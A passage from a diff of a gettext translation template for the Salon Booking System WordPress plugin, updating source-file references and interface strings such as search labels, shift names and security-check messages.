symbols.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231\n+msgid \"Search customers\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInstall.php:31, src\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-3.0.php:93\n-msgid \"Salon staff\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:243\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:243\n+msgid \"Search Discounts\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FInstall.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FInstall.php:32\n-msgid \"Salon customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:570\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:570\n+msgid \"Search extensions…\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FRescheduleBooking.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:101\n-msgid \"Can't set booking services. Please, select others.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:46\n+msgid \"Search field.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FRescheduleBooking.php:108, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:108\n-msgid \"Not available set some booking services. Please, select others.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:152\n+msgid \"Search for a feature...\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FRescheduleBooking.php:124, src\u002FSLN\u002FAction\u002FRescheduleBooking.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:149\n-msgid \"Not available set some secondary booking services. Please, select others.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:190\n+msgid \"Search for a user\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FRescheduleBooking.php:142, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:142\n-msgid \"Can't set secondary booking services. Please, select others.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:217\n+msgid \"Search Resources\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FRescheduleBooking.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:189\n-msgid \"Can't set attendants. Please, select others.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:42\n+msgid \"Search Service Category\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FRescheduleBooking.php:199, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FRescheduleBooking.php:199\n-msgid \"Not available set some attendants. Please, select others.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261\n+msgid \"Search Services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCalendar.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:23\n-msgid \"Salon Calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:35\n+msgid \"Search string.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCalendar.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:24\n-msgid \"Calendar\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:40\n+msgid \"Search type.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:16\n-msgid \"Salon Customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:154\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:154\n+msgid \"Second shift\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63\n-msgid \"\u003Cstrong>ERROR\u003C\u002Fstrong>: This email is already registered, please choose another one.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:149\n+msgid \"Secondary\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76\n-msgid \"\u003Cstrong>ERROR\u003C\u002Fstrong>: This email is empty.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:310\n+msgid \"Secondary services\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FEmailTests.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:36\n-msgid \"Email Bug Tests\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:6\n+msgid \"Secret key\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FEmailTests.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FEmailTests.php:37\n-msgid \"Email Tests\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:83\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:13\n+msgid \"Security check failed.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FExtensions.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FExtensions.php:19\n-msgid \"Salon Extensions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:90\n+msgid \"Security check failed. Please try again.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:18\n-msgid \"Salon Reports\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_homepage.php:25\n+msgid \"\"\n+\"Sed eget metus vitae enim suscipit scelerisque non sed neque. Mauris semper \"\n+\"hendrerit erat, in consectetur arcu eleifend at. Donec orci lacus, euismod \"\n+\"euismod luctus sed, rhoncus in tellus. Mauris tempus arcu ut luctus \"\n+\"venenatis.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettings.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:13, 